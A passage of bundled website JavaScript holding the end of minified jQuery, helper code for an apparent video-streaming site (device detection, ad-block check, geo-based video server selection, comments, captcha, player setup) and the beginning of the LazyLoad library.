                b.crossDomain || e["X-Requested-With"] || (e["X-Requested-With"] = "XMLHttpRequest");
                for (g in e)
                    h.setRequestHeader(g, e[g]);
                c = function(a) {
                    return function() {
                        c && (c = d = h.onload = h.onerror = h.onabort = h.onreadystatechange = null,
                        "abort" === a ? h.abort() : "error" === a ? "number" != typeof h.status ? f(0, "error") : f(h.status, h.statusText) : f(Ob[h.status] || h.status, h.statusText, "text" !== (h.responseType || "text") || "string" != typeof h.responseText ? {
                            binary: h.response
                        } : {
                            text: h.responseText
                        }, h.getAllResponseHeaders()))
                    }
                }
                ,
                h.onload = c(),
                d = h.onerror = c("error"),
                void 0 !== h.onabort ? h.onabort = d : h.onreadystatechange = function() {
                    4 === h.readyState && a.setTimeout(function() {
                        c && d()
                    })
                }
                ,
                c = c("abort");
                try {
                    h.send(b.hasContent && b.data || null)
                } catch (i) {
                    if (c)
                        throw i
                }
            },
            abort: function() {
                c && c()
            }
        } : void 0
    }),
    r.ajaxPrefilter(function(a) {
        a.crossDomain && (a.contents.script = !1)
    }),
    r.ajaxSetup({
        accepts: {
            script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
        },
        contents: {
            script: /\b(?:java|ecma)script\b/
        },
        converters: {
            "text script": function(a) {
                return r.globalEval(a),
                a
            }
        }
    }),
    r.ajaxPrefilter("script", function(a) {
        void 0 === a.cache && (a.cache = !1),
        a.crossDomain && (a.type = "GET")
    }),
    r.ajaxTransport("script", function(a) {
        if (a.crossDomain) {
            var b, c;
            return {
                send: function(e, f) {
                    b = r("<script>").prop({
                        charset: a.scriptCharset,
                        src: a.url
                    }).on("load error", c = function(a) {
                        b.remove(),
                        c = null,
                        a && f("error" === a.type ? 404 : 200, a.type)
                    }
                    ),
                    d.head.appendChild(b[0])
                },
                abort: function() {
                    c && c()
                }
            }
        }
    });
    var Qb = []
      , Rb = /(=)\?(?=&|$)|\?\?/;
    r.ajaxSetup({
        jsonp: "callback",
        jsonpCallback: function() {
            var a = Qb.pop() || r.expando + "_" + rb++;
            return this[a] = !0,
            a
        }
    }),
    r.ajaxPrefilter("json jsonp", function(b, c, d) {
        var e, f, g, h = b.jsonp !== !1 && (Rb.test(b.url) ? "url" : "string" == typeof b.data && 0 === (b.contentType || "").indexOf("application/x-www-form-urlencoded") && Rb.test(b.data) && "data");
        return h || "jsonp" === b.dataTypes[0] ? (e = b.jsonpCallback = r.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback,
        h ? b[h] = b[h].replace(Rb, "$1" + e) : b.jsonp !== !1 && (b.url += (sb.test(b.url) ? "&" : "?") + b.jsonp + "=" + e),
        b.converters["script json"] = function() {
            return g || r.error(e + " was not called"),
            g[0]
        }
        ,
        b.dataTypes[0] = "json",
        f = a[e],
        a[e] = function() {
            g = arguments
        }
        ,
        d.always(function() {
            void 0 === f ? r(a).removeProp(e) : a[e] = f,
            b[e] && (b.jsonpCallback = c.jsonpCallback,
            Qb.push(e)),
            g && r.isFunction(f) && f(g[0]),
            g = f = void 0
        }),
        "script") : void 0
    }),
    o.createHTMLDocument = function() {
        var a = d.implementation.createHTMLDocument("").body;
        return a.innerHTML = "<form></form><form></form>",
        2 === a.childNodes.length
    }(),
    r.parseHTML = function(a, b, c) {
        if ("string" != typeof a)
            return [];
        "boolean" == typeof b && (c = b,
        b = !1);
        var e, f, g;
        return b || (o.createHTMLDocument ? (b = d.implementation.createHTMLDocument(""),
        e = b.createElement("base"),
        e.href = d.location.href,
        b.head.appendChild(e)) : b = d),
        f = B.exec(a),
        g = !c && [],
        f ? [b.createElement(f[1])] : (f = oa([a], b, g),
        g && g.length && r(g).remove(),
        r.merge([], f.childNodes))
    }
    ,
    r.fn.load = function(a, b, c) {
        var d, e, f, g = this, h = a.indexOf(" ");
        return h > -1 && (d = r.trim(a.slice(h)),
        a = a.slice(0, h)),
        r.isFunction(b) ? (c = b,
        b = void 0) : b && "object" == typeof b && (e = "POST"),
        g.length > 0 && r.ajax({
            url: a,
            type: e || "GET",
            dataType: "html",
            data: b
        }).done(function(a) {
            f = arguments,
            g.html(d ? r("<div>").append(r.parseHTML(a)).find(d) : a)
        }).always(c && function(a, b) {
            g.each(function() {
                c.apply(this, f || [a.responseText, b, a])
            })
        }
        ),
        this
    }
    ,
    r.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(a, b) {
        r.fn[b] = function(a) {
            return this.on(b, a)
        }
    }),
    r.expr.pseudos.animated = function(a) {
        return r.grep(r.timers, function(b) {
            return a === b.elem
        }).length
    }
    ;
    function Sb(a) {
        return r.isWindow(a) ? a : 9 === a.nodeType && a.defaultView
    }
    r.offset = {
        setOffset: function(a, b, c) {
            var d, e, f, g, h, i, j, k = r.css(a, "position"), l = r(a), m = {};
            "static" === k && (a.style.position = "relative"),
            h = l.offset(),
            f = r.css(a, "top"),
            i = r.css(a, "left"),
            j = ("absolute" === k || "fixed" === k) && (f + i).indexOf("auto") > -1,
            j ? (d = l.position(),
            g = d.top,
            e = d.left) : (g = parseFloat(f) || 0,
            e = parseFloat(i) || 0),
            r.isFunction(b) && (b = b.call(a, c, r.extend({}, h))),
            null != b.top && (m.top = b.top - h.top + g),
            null != b.left && (m.left = b.left - h.left + e),
            "using"in b ? b.using.call(a, m) : l.css(m)
        }
    },
    r.fn.extend({
        offset: function(a) {
            if (arguments.length)
                return void 0 === a ? this : this.each(function(b) {
                    r.offset.setOffset(this, a, b)
                });
            var b, c, d, e, f = this[0];
            if (f)
                return f.getClientRects().length ? (d = f.getBoundingClientRect(),
                d.width || d.height ? (e = f.ownerDocument,
                c = Sb(e),
                b = e.documentElement,
                {
                    top: d.top + c.pageYOffset - b.clientTop,
                    left: d.left + c.pageXOffset - b.clientLeft
                }) : d) : {
                    top: 0,
                    left: 0
                }
        },
        position: function() {
            if (this[0]) {
                var a, b, c = this[0], d = {
                    top: 0,
                    left: 0
                };
                return "fixed" === r.css(c, "position") ? b = c.getBoundingClientRect() : (a = this.offsetParent(),
                b = this.offset(),
                r.nodeName(a[0], "html") || (d = a.offset()),
                d = {
                    top: d.top + r.css(a[0], "borderTopWidth", !0),
                    left: d.left + r.css(a[0], "borderLeftWidth", !0)
                }),
                {
                    top: b.top - d.top - r.css(c, "marginTop", !0),
                    left: b.left - d.left - r.css(c, "marginLeft", !0)
                }
            }
        },
        offsetParent: function() {
            return this.map(function() {
                var a = this.offsetParent;
                while (a && "static" === r.css(a, "position"))
                    a = a.offsetParent;
                return a || pa
            })
        }
    }),
    r.each({
        scrollLeft: "pageXOffset",
        scrollTop: "pageYOffset"
    }, function(a, b) {
        var c = "pageYOffset" === b;
        r.fn[a] = function(d) {
            return S(this, function(a, d, e) {
                var f = Sb(a);
                return void 0 === e ? f ? f[b] : a[d] : void (f ? f.scrollTo(c ? f.pageXOffset : e, c ? e : f.pageYOffset) : a[d] = e)
            }, a, d, arguments.length)
        }
    }),
    r.each(["top", "left"], function(a, b) {
        r.cssHooks[b] = Na(o.pixelPosition, function(a, c) {
            return c ? (c = Ma(a, b),
            Ka.test(c) ? r(a).position()[b] + "px" : c) : void 0
        })
    }),
    r.each({
        Height: "height",
        Width: "width"
    }, function(a, b) {
        r.each({
            padding: "inner" + a,
            content: b,
            "": "outer" + a
        }, function(c, d) {
            r.fn[d] = function(e, f) {
                var g = arguments.length && (c || "boolean" != typeof e)
                  , h = c || (e === !0 || f === !0 ? "margin" : "border");
                return S(this, function(b, c, e) {
                    var f;
                    return r.isWindow(b) ? 0 === d.indexOf("outer") ? b["inner" + a] : b.document.documentElement["client" + a] : 9 === b.nodeType ? (f = b.documentElement,
                    Math.max(b.body["scroll" + a], f["scroll" + a], b.body["offset" + a], f["offset" + a], f["client" + a])) : void 0 === e ? r.css(b, c, h) : r.style(b, c, e, h)
                }, b, g ? e : void 0, g)
            }
        })
    }),
    r.fn.extend({
        bind: function(a, b, c) {
            return this.on(a, null, b, c)
        },
        unbind: function(a, b) {
            return this.off(a, null, b)
        },
        delegate: function(a, b, c, d) {
            return this.on(b, a, c, d)
        },
        undelegate: function(a, b, c) {
            return 1 === arguments.length ? this.off(a, "**") : this.off(b, a || "**", c)
        }
    }),
    r.parseJSON = JSON.parse,
    "function" == typeof define && define.amd && define("jquery", [], function() {
        return r
    });
    var Tb = a.jQuery
      , Ub = a.$;
    return r.noConflict = function(b) {
        return a.$ === r && (a.$ = Ub),
        b && a.jQuery === r && (a.jQuery = Tb),
        r
    }
    ,
    b || (a.jQuery = a.$ = r),
    r
});
$g.getParentUrl = function() {
    var isInIframe = parent !== window
      , parentUrl = null;
    if (isInIframe) {
        parentUrl = document.referrer
    }
    return parentUrl
}
;
$g.loadCss = function(filename) {
    var l = document.createElement("link");
    l.rel = "stylesheet";
    l.href = filename;
    var h = document.getElementsByTagName("head")[0];
    h.parentNode.insertBefore(l, h)
}
;
$g.go_to_url = function(target_url, params) {
    try {
        var url_vars = avshow.getUrlVars(target_url);
        if (url_vars) {
            params = jQuery.extend({}, params, url_vars)
        }
        console.log("params:", params)
    } catch (e) {
        window.location.href = target_url
    }
    var go_form_html = "<form name='go_to_url' class='none'></form>";
    $("body").append($(go_form_html));
    $('form[name="go_to_url"]').attr("action", target_url);
    if (params) {
        var keys = Object.keys(params);
        for (var i = 0; i < keys.length; ++i) {
            var input = $("<input>").attr("type", "hidden").attr("name", keys[i]).val(params[keys[i]]);
            $('form[name="go_to_url"]').append(input)
        }
    }
    $('form[name="go_to_url"]').submit()
}
;
$g.push_guest_browselog = function(tid) {
    if (!tid)
        return;
    var key = "guest_browselog:list";
    var guest_browselogs = localStorage.getItem(key);
    try {
        guest_browselogs = JSON.parse(guest_browselogs) || []
    } catch (e) {
        guest_browselogs = []
    }
    if (guest_browselogs.length > 30) {
        guest_browselogs.splice(0, 1)
    }
    guest_browselogs.insert(tid);
    console.log("guest_browselogs:", guest_browselogs);
    localStorage.setItem(key, JSON.stringify(guest_browselogs))
}
;
var isMobile = {
    Android: function() {
        return navigator.userAgent.match(/Android/i)
    },
    BlackBerry: function() {
        return navigator.userAgent.match(/BlackBerry/i)
    },
    iOS: function() {
        return navigator.userAgent.match(/iPhone|iPad|iPod/i)
    },
    Opera: function() {
        return navigator.userAgent.match(/Opera Mini/i)
    },
    Windows: function() {
        return navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/WPDesktop/i)
    },
    any: function() {
        return isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows()
    }
};
avshow.is_mobile_fun = isMobile;
avshow.ismobile_from_server = function() {
    return avshow.ismobile_value
}
;
avshow.ismobile = function() {
    return avshow.is_mobile_fun.any() != null
}
;
avshow.is_ios = function() {
    return avshow.is_mobile_fun.iOS() != null
}
;
avshow.isApp = function() {
    var find_Html5Plus = navigator.userAgent.indexOf("Html5Plus");
    return find_Html5Plus >= 0
}
;
avshow.is_qq_browser = function() {
    return navigator.userAgent.indexOf("MQQBrowser") !== -1
}
;
avshow.show_common_dialog = function(options) {
    jQuery("#common-dialog").bootstrap_modal(options)
}
;
avshow.isWeixinBrowser = function() {
    return /micromessenger/.test(navigator.userAgent.toLowerCase())
}
;
avshow.loadlang = function(page, cb) {
    $.getJSON("/lang/values/" + page, function(data) {
        if (!avshow.langvalues) {
            avshow.langvalues = {}
        }
        avshow.langvalues = jQuery.extend(true, avshow.object.loading, data);
        if (cb) {
            cb()
        }
    })
}
;
avshow.langloader = function(key) {
    if (avshow.langvalues) {
        if (avshow.langvalues.hasOwnProperty(key)) {
            return avshow.langvalues[key]
        }
    }
    return ""
}
;
avshow.object = {};
avshow.object.loading = {
    data: {
        icon_display: "none",
        icon_spinner_class: "",
        icon_spin_class: "",
        disabled: false
    },
    methods: {
        showLoading: function() {
            this.disabled = true;
            this.icon_spin_class = "icon-spin";
            this.icon_spinner_class = "icon-spinner"
        },
        setEnabled: function(enabled) {
            this.disabled = !enabled;
            this.icon_spin_class = "";
            this.icon_spinner_class = "";
            console.log("setEnabled:", this.disabled)
        }
    }
};
$g.adblock_status = undefined;
$g.check_ads = function() {
    function adBlockNotDetected() {
        avshow.adblock_status = "n";
        jQuery("body").addClass("adBlockNotDetected")
    }
    function adBlockDetected() {
        avshow.adblock_status = "y";
        jQuery("body").addClass("adBlockDetected")
    }
    if (typeof fuckAdBlock !== "undefined" || typeof FuckAdBlock !== "undefined") {
        adBlockDetected()
    } else {
        var importFAB = document.createElement("script");
        importFAB.onload = function() {
            fuckAdBlock.onDetected(adBlockDetected);
            fuckAdBlock.onNotDetected(adBlockNotDetected)
        }
        ;
        importFAB.onerror = function() {
            adBlockDetected()
        }
        ;
        importFAB.integrity = "sha256-xjwKUY/NgkPjZZBOtOxRYtK20GaqTwUCf7WYCJ1z69w=";
        importFAB.crossOrigin = "anonymous";
        importFAB.src = "https://cdnjs.cloudflare.com/ajax/libs/fuckadblock/3.2.1/fuckadblock.min.js";
        document.head.appendChild(importFAB)
    }
}
;
$g.notify = function(message, position) {
    Toastify({
        text: message,
        duration: 6e3,
        destination: "",
        newWindow: true,
        close: true,
        gravity: "top",
        position: "right",
        backgroundColor: "linear-gradient(to right, #db2828, #de2128)",
        stopOnFocus: true,
        className: "info"
    }).showToast()
}
;
var updateQueryStringParameter = function updateQueryStringParameter(uri, key, value) {
    if (!value) {
        return uri
    }
    var re = new RegExp("([?&])" + key + "=.*?(&|$)","i");
    var separator = uri.indexOf("?") !== -1 ? "&" : "?";
    if (uri.match(re)) {
        return uri.replace(re, "$1" + key + "=" + value + "$2")
    } else {
        return uri + separator + key + "=" + value
    }
};
$g.updateQueryStringParameter = updateQueryStringParameter;
var update_view_nav_top = function() {
    var view_nav = jQuery(".view-nav");
    var nav_height = jQuery("#nav").height();
    nav_height -= .5;
    view_nav.css("top", nav_height + "px");
    var header_height = view_nav.height() + nav_height;
    var wp_top = header_height + 12;
    $$(".wp").css("padding-top", wp_top + "px")
};
$g.update_avdatas = function() {
    jQuery(".avdata .view_count").each(function() {
        var view_count = jQuery(this).html();
        view_count = parseInt(view_count);
        jQuery(this).html($g.formatNumber(view_count))
    })
}
;
window.quasarConfig = {
    brand: {
        primary: "#f00"
    },
    notify: {},
    loading: {},
    loadingBar: {},
    animations: ["bounceInLeft", "bounceOutRight"]
};
$g.switch_server = $g.switch_server || {};
$g.switch_server.set_video_server = undefined;
$g.switch_server.init = function() {
    var urlVars = $g.getUrlVars();
    if (urlVars.video_server) {
        localStorage.setItem("video_server", urlVars.video_server)
    } else {}
}
;
$g.switch_server.select = function(video_server) {
    localStorage.setItem("video_server", video_server)
}
;
$g.switch_server.get = function() {
    var urlVars = $g.getUrlVars();
    if (urlVars.video_server) {
        return urlVars.video_server
    }
    if ($g.switch_server.set_video_server) {
        return $g.switch_server.set_video_server
    }
    var local_video_server = localStorage.getItem("video_server");
    console.log("switch_server get:", local_video_server);
    return local_video_server || $g.config.defalut_video_server
}
;
$g.switch_server.exsits_server = function(server_name) {
    if ($g.avdata) {
        for (var i = 0; i < $g.avdata.space_hosts.length; ++i) {
            if ($g.avdata.space_hosts[i]) {
                if ($g.avdata.space_hosts[i][0] === server_name) {
                    return true
                }
            }
        }
    }
    return false
}
;
$g.switch_server.server_host = function(server_name) {
    if (!server_name) {
        server_name = $g.switch_server.get()
    }
    if ($g.avdata) {
        for (var i = 0; i < $g.avdata.space_hosts.length; ++i) {
            if ($g.avdata.space_hosts[i]) {
                if ($g.avdata.space_hosts[i][0] === server_name) {
                    return $g.avdata.space_hosts[i][2]
                }
            }
        }
    }
    return $g.avdata.space_hosts[0][2]
}
;
$g.switch_server.update = function() {
    var video_server = localStorage.getItem("video_server");
    var find_video_server = $g.switch_server.exsits_server(video_server);
    var exsits_b2_video_server = $g.switch_server.exsits_server("b2server");
    let defalut_video_server = "b2server";
    if (!exsits_b2_video_server) {
        defalut_video_server = "cfserver"
    }
    if (!find_video_server) {
        var data_ipcountry = $g.ipcountry;
        $g.switch_server.set_video_server = $g.config.defalut_video_server;
        if (data_ipcountry) {
            if (["CN", "TH", "VN", "PH"].indexOf(data_ipcountry) >= 0) {
                $g.switch_server.set_video_server = "cncdn";
                if (!$g.switch_server.exsits_server("cncdn")) {
                    $g.switch_server.set_video_server = "b2server"
                }
            } else if (["US", "CA"].indexOf(data_ipcountry) >= 0) {
                $g.switch_server.set_video_server = defalut_video_server
            } else if (["JP", "KR", "TW", "MY", "TH"].indexOf(data_ipcountry) >= 0) {
                $g.switch_server.set_video_server = defalut_video_server
            } else if (["DE", "FK", "FO", "FJ", "FI", "FR", "GF", "PF", "TF", "RU"].indexOf(data_ipcountry) >= 0) {
                $g.switch_server.set_video_server = defalut_video_server
            } else if (["SG", "TH", "PH", "LA", "ID", "IN", "IE", "HK", "GB"].indexOf(data_ipcountry) >= 0) {
                $g.switch_server.set_video_server = defalut_video_server
            }
        }
    }
    if ($g.video_server_list) {
        $g.video_server_list.select_host = $g.switch_server.get()
    }
}
;
$g.update_svg = function() {
    $g.wait_asyncjs(()=>{
        jQuery("img.svg").each(function() {
            var $img = jQuery(this);
            var imgID = $img.attr("id");
            var imgClass = $img.attr("class");
            var imgURL = $img.attr("src");
            jQuery.get(imgURL, function(data) {
                var $svg = jQuery(data).find("svg");
                if (typeof imgID !== "undefined") {
                    $svg = $svg.attr("id", imgID)
                }
                if (typeof imgClass !== "undefined") {
                    $svg = $svg.attr("class", imgClass + " replaced-svg")
                }
                $svg = $svg.removeAttr("xmlns:a");
                if (!$svg.attr("viewBox") && $svg.attr("height") && $svg.attr("width")) {
                    $svg.attr("viewBox", "0 0 " + $svg.attr("height") + " " + $svg.attr("width"))
                }
                $img.replaceWith($svg)
            }, "xml")
        })
    }
    )
}
;
$g.getValFromCookieOrLocalStorage = function(nameSub) {
    var result = null;
    document.cookie.split("; ").some(function(c) {
        var kv = c.split("=");
        if (kv[0].indexOf(nameSub) !== -1) {
            result = kv[1];
            return true
        }
        return false
    });
    if (result !== null) {
        return result
    }
    for (var i = 0; i < localStorage.length; i++) {
        var k = localStorage.key(i);
        if (k.indexOf(nameSub) !== -1) {
            return localStorage.getItem(k)
        }
    }
    return null
}
;
avshow.captcha = avshow.captcha || {};
avshow.captcha.reset = function(captcha_img, captch_id) {
    jQuery.ajax({
        type: "get",
        url: "/app/captcha",
        data: {},
        success: function(respone) {
            if (respone.code == 200) {
                captcha_img.attr("src", "data:image/png;base64," + respone.data.encoded_string);
                captch_id.attr("value", respone.data.captcha_id)
            } else {}
        },
        error: function() {},
        complete: function() {}
    })
}
;
avshow.captcha.check = function(captcha_id, string) {}
;
avshow.comment = avshow.comment || {};
avshow.comment.fetch = function(video_comment_id, tid, page, cb, error_cb) {
    jQuery.ajax({
        type: "get",
        url: "/app/video/comment",
        data: {
            page: page,
            tid: tid,
            html: 1,
            video_comment_id: video_comment_id
        },
        success: function(respone) {
            if (cb) {
                cb(respone)
            }
        },
        error: error_cb
    })
}
;
avshow.comment.post = function(tid, message, target_uid, html, cb, error_cb) {
    jQuery.ajax({
        type: "post",
        url: "/app/video/comment",
        data: {
            message: message,
            target_uid: target_uid,
            tid: tid,
            html: 1
        },
        success: function(respone) {
            if (cb) {
                cb(respone)
            }
        },
        error: error_cb
    })
}
;
$g.LANG = {
    data() {
        return {}
    },
    created: function() {},
    computed: {
        all_display_names: function() {}
    },
    methods: {
        defalut_lang_display: function() {
            if ($g.defalut_lang && $g.lang) {
                for (index in $g.lang.config.all_names) {
                    let langobject = $g.lang.config.all_names[index];
                    if (langobject["name"] === $g.defalut_lang) {
                        return langobject["display"]
                    }
                }
            }
            return $g.defalut_lang_display
        }
    }
};
avshow.request_video_play = function(cb) {
    var referrer_host = document.referrer.split("/")[2];
    var post_data = {
        referrer_host: referrer_host,
        tid: avshow.tid
    };
    if ("jQuery"in window && jQuery.ajax) {
        jQuery.ajax({
            type: "get",
            url: "/app/video/play",
            data: post_data,
            success: function(respone) {
                if (respone.code != 200) {} else {
                    cb(respone.data)
                }
            }
        })
    } else if ("axios"in window) {
        axios.get("/app/video/play", post_data).then(function(response) {
            console.log(response);
            var response_data = response.data.data;
            cb(response_data)
        }).catch(function(error) {})
    } else {
        console.log("no network lib to request")
    }
}
;
avshow.player_poster = function() {
    if (avshow.av_response) {
        var image_url = avshow.av_response["small_cover_image_url"];
        if (!avshow.ismobile()) {
            image_url = avshow.av_response["cover_image_url"]
        }
        if (image_url && avshow.isSupportWebp()) {
            return avshow.generate_webp_url(image_url)
        }
        return "https://" + image_url
    }
}
;
avshow.small_player_poster = function() {
    if (avshow.av_response) {
        if (avshow.av_response["small_cover_image_url"] && avshow.isSupportWebp()) {
            var small_cover_image_url = avshow.av_response["small_cover_image_url"];
            console.log("small_cover_image_url:", small_cover_image_url);
            return avshow.generate_webp_url(small_cover_image_url)
        }
        return "https://" + avshow.av_response["small_cover_image_url"]
    }
}
;
avshow.preview_video_url = function() {
    if ($g.av_response) {
        if ($g.av_response["preview"] && Object.keys($g.av_response["preview"]).length > 0) {
            let space_name = $g.av_response["space_name"];
            let ch = $g.get_static_host(space_name);
            if (ch) {
                let url = "https://" + ch + "/videos/" + $g.av_response["hash_id"] + "/preview/big.mp4?v=1";
                return url
            }
        }
    }
}
;
window.PlayerObject = {
    data() {
        return {
            show_vip_container: false,
            show_playing_vip_container: false,
            player: undefined
        }
    },
    created: function() {},
    computed: {
        css_hash: function() {
            try {
                return this.$config.videoplayer.hash.css
            } catch (e) {}
            return this.$config.verhash
        },
        js_hash: function() {
            try {
                return this.$config.videoplayer.hash.js
            } catch (e) {}
            return this.$config.verhash
        },
        poster: function() {
            return $g.player_poster()
        },
        player_js_src: function() {
            // if ($g.webstatic_conf && $g.webstatic_conf.gcdn) {
            //     return "https://" + $g.webstatic_conf.gcdn + "/" + this.$config.video_player + "/player.js?" + this.js_hash
            // }
            // if (this.is_use_cncdn_res()) {
            //     return "https://" + $g.webstatic_conf.cncdn_domain + "/" + this.$config.video_player + "/player.js?" + this.js_hash
            // }
            return "/static/videojs-output/player.js?" + this.js_hash
        },
        player_css_src: function() {
            // if ($g.webstatic_conf && $g.webstatic_conf.gcdn) {
            //     return "https://" + $g.webstatic_conf.gcdn + "/" + this.$config.video_player + "/player.css?" + this.css_hash
            // }
            // if (this.is_use_cncdn_res()) {
            //     return "https://" + $g.webstatic_conf.cncdn_domain + "/" + this.$config.video_player + "/player.css?" + this.css_hash
            // }
            return "/static/videojs-output/player.css?" + this.css_hash
        }
    },
    methods: {
        is_use_cncdn_res: function() {
            try {
                if (!this.is_root_domain()) {
                    if ($g.webstatic_conf.cncdn_domain) {
                        if ($g.ipcountry && ["CN"].indexOf($g.ipcountry) >= 0) {
                            return true
                        }
                    }
                }
            } catch (e) {}
            return false
        },
        is_safari: function() {
            var is_safari = /Safari/.test(navigator.userAgent) && !/Chrome/.test(navigator.userAgent);
            return is_safari
        },
        on_replay: function() {
            this.show_ios_video = true;
            this.show_vip_container = false;
            this.$nextTick(()=>{
                if (this.is_ios()) {
                    this.player = this.make_iospreview_player();
                    this.add_vipvideo_ended_event()
                } else {}
                var v = $(".video_player video");
                v[0].play()
            }
            )
        },
        add_vipvideo_ended_event: function() {
            var v = $(".video_player video");
            if (!v || v.length <= 0) {
                return setTimeout(this.add_video_ended_event, 88)
            }
            v[0].addEventListener("ended", e=>{
                console.log("video ended");
                this.show_vip_container = true;
                this.show_ios_video = false
            }
            )
        },
        big_preview_url: function() {
            return $g.preview_video_url()
        },
        make_hlsios_player: function() {
            let player_video = avshow._video_plaeyr = document.querySelector("#orginal_video_player");
            let newSource = document.createElement("source");
            newSource.src = $g.m3u8player_url();
            newSource.type = "application/x-mpegURL";
            player_video.appendChild(newSource);
            return player_video
        },
        make_ios_player: function() {
            let player_video = avshow._video_plaeyr = document.querySelector("#orginal_video_player");
            let newSource = document.createElement("source");
            newSource.src = avshow.av_response.mp4_url;
            newSource.type = "video/mp4";
            player_video.appendChild(newSource);
            return player_video
        },
        make_iospreview_player: function() {
            const player_video = document.querySelector("#orginal_video_player");
            let newSource = document.createElement("source");
            newSource.src = avshow.preview_video_url();
            newSource.type = "video/mp4";
            player_video.appendChild(newSource);
            return player_video
        },
        request_av_response: function(cb) {
            this.$axios.get("/app/video/player/hd", {
                params: {
                    id: avshow.av_data.tid
                }
            }).then(response=>{
                console.log("response:", response);
                avshow.av_response = response.data.data;
                cb(response)
            }
            ).catch(error=>{}
            )
        },
        play: function() {
            if (this.player) {
                this.player.play()
            } else if ($g.video_player) {
                $g.video_player.play()
            }
        }
    }
};
!function(t, n) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = n() : "function" == typeof define && define.amd ? define(n) : (t = "undefined" != typeof globalThis ? globalThis : t || self).LazyLoad = n()
}(this, function() {
    "use strict";
    function t() {
        return (t = Object.assign || function(t) {
            for (var n = 1; n < arguments.length; n++) {
                var e = arguments[n];
                for (var i in e)
                    Object.prototype.hasOwnProperty.call(e, i) && (t[i] = e[i])
            }
            return t
        }
        ).apply(this, arguments)
    }
    var n = "undefined" != typeof window
      , e = n && !("onscroll"in window) || "undefined" != typeof navigator && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent)
      , i = n && "IntersectionObserver"in window
      , o = n && "classList"in document.createElement("p")
      , r = n && window.devicePixelRatio > 1
      , a = {
        elements_selector: ".lazy",
        container: e || n ? document : null,
        threshold: 300,
        thresholds: null,
        data_src: "src",
        data_srcset: "srcset",
        data_sizes: "sizes",
        data_bg: "bg",
        data_bg_hidpi: "bg-hidpi",
        data_bg_multi: "bg-multi",
        data_bg_multi_hidpi: "bg-multi-hidpi",
        data_poster: "poster",
        class_applied: "applied",
        class_loading: "loading",
        class_loaded: "loaded",
        class_error: "error",
        class_entered: "entered",
        class_exited: "exited",
        unobserve_completed: !0,
        unobserve_entered: !1,
        cancel_on_exit: !0,
        callback_enter: null,
        callback_exit: null,
        callback_applied: null,
        callback_loading: null,
        callback_loaded: null,
        callback_error: null,
        callback_finish: null,
        callback_cancel: null,
        use_native: !1
    }
      , c = function(n) {
        return t({}, a, n)
    }
      , s = function(t, n) {
        var e, i = "LazyLoad::Initialized", o = new t(n);
        try {
            e = new CustomEvent(i,{
                detail: {
                    instance: o
                }
            })
        } catch (t) {
            (e = document.createEvent("CustomEvent")).initCustomEvent(i, !1, !1, {
                instance: o
            })
        }
        window.dispatchEvent(e)
    }
      , l = "loading"
      , u = "loaded"
      , d = "applied"
      , f = "error"
      , _ = "native"
      , g = "data-"
      , v = "ll-status"
      , b = function(t, n) {
        return t.getAttribute(g + n)
    }
      , p = function(t) {
        return b(t, v)
    }
      , h = function(t, n) {
        return function(t, n, e) {
            var i = "data-ll-status";
            null !== e ? t.setAttribute(i, e) : t.removeAttribute(i)
        }(t, 0, n)
    }
      , m = function(t) {
        return h(t, null)
    }
      , E = function(t) {
        return null === p(t)
    }
      , y = function(t) {
        return p(t) === _
    }
      , I = [l, u, d, f]
      , A = function(t, n, e, i) {
        t && (void 0 === i ? void 0 === e ? t(n) : t(n, e) : t(n, e, i))
    }
      , L = function(t, n) {
        o ? t.classList.add(n) : t.className += (t.className ? " " : "") + n
    }
      , w = function(t, n) {
        o ? t.classList.remove(n) : t.className = t.className.replace(new RegExp("(^|\\s+)" + n + "(\\s+|$)"), " ").replace(/^\s+/, "").replace(/\s+$/, "")
    }
      , k = function(t) {
        return t.llTempImage
    }
      , O = function(t, n) {
        if (n) {
            var e = n._observer;
            e && e.unobserve(t)
        }
    }
      , x = function(t, n) {
        t && (t.loadingCount += n)
    }
      , z = function(t, n) {
        t && (t.toLoadCount = n)
    }
      , C = function(t) {
        for (var n, e = [], i = 0; n = t.children[i]; i += 1)
            "SOURCE" === n.tagName && e.push(n);
        return e
    }
      , N = function(t, n, e) {
        e && t.setAttribute(n, e)
    }
      , M = function(t, n) {
        t.removeAttribute(n)
    }
      , R = function(t) {
        return !!t.llOriginalAttrs
    }
      , T = function(t) {
        if (!R(t)) {
            var n = {};
            n.src = t.getAttribute("src"),
            n.srcset = t.getAttribute("srcset"),
            n.sizes = t.getAttribute("sizes"),
            t.llOriginalAttrs = n
        }
    }
      , G = function(t) {
        if (R(t)) {
            var n = t.llOriginalAttrs;
            N(t, "src", n.src),
            N(t, "srcset", n.srcset),
            N(t, "sizes", n.sizes)
        }
    }
      , D = function(t, n) {
        N(t, "sizes", b(t, n.data_sizes)),
        N(t, "srcset", b(t, n.data_srcset)),
        N(t, "src", b(t, n.data_src))
    }
      , V = function(t) {
        M(t, "src"),
        M(t, "srcset"),
        M(t, "sizes")
    }
      , j = function(t, n) {
        var e = t.parentNode;
        e && "PICTURE" === e.tagName && C(e).forEach(n)
    }
      , F = {
        IMG: function(t, n) {
            j(t, function(t) {
                T(t),
                D(t, n)
            }),
            T(t),
            D(t, n)
        },
        IFRAME: function(t, n) {
            N(t, "src", b(t, n.data_src))
        },
        VIDEO: function(t, n) {
            !function(t, e) {
                C(t).forEach(function(t) {
                    N(t, "src", b(t, n.data_src))
                })
            }(t),
            N(t, "poster", b(t, n.data_poster)),
            N(t, "src", b(t, n.data_src)),
            t.load()
        }
    }
      , P = function(t, n) {
        var e = F[t.tagName];
        e && e(t, n)
    }
      , S = function(t, n, e) {
        x(e, 1),
        L(t, n.class_loading),
        h(t, l),
        A(n.callback_loading, t, e)
    }
      , U = ["IMG", "IFRAME", "VIDEO"]
      , $ = function(t, n) {
        !n || function(t) {
            return t.loadingCount > 0
        }(n) || function(t) {
            return t.toLoadCount > 0
        }(n) || A(t.callback_finish, n)
    }
      , q = function(t, n, e) {
        t.addEventListener(n, e),
        t.llEvLisnrs[n] = e
    }
      , H = function(t, n, e) {
        t.removeEventListener(n, e)
    }
      , B = function(t) {
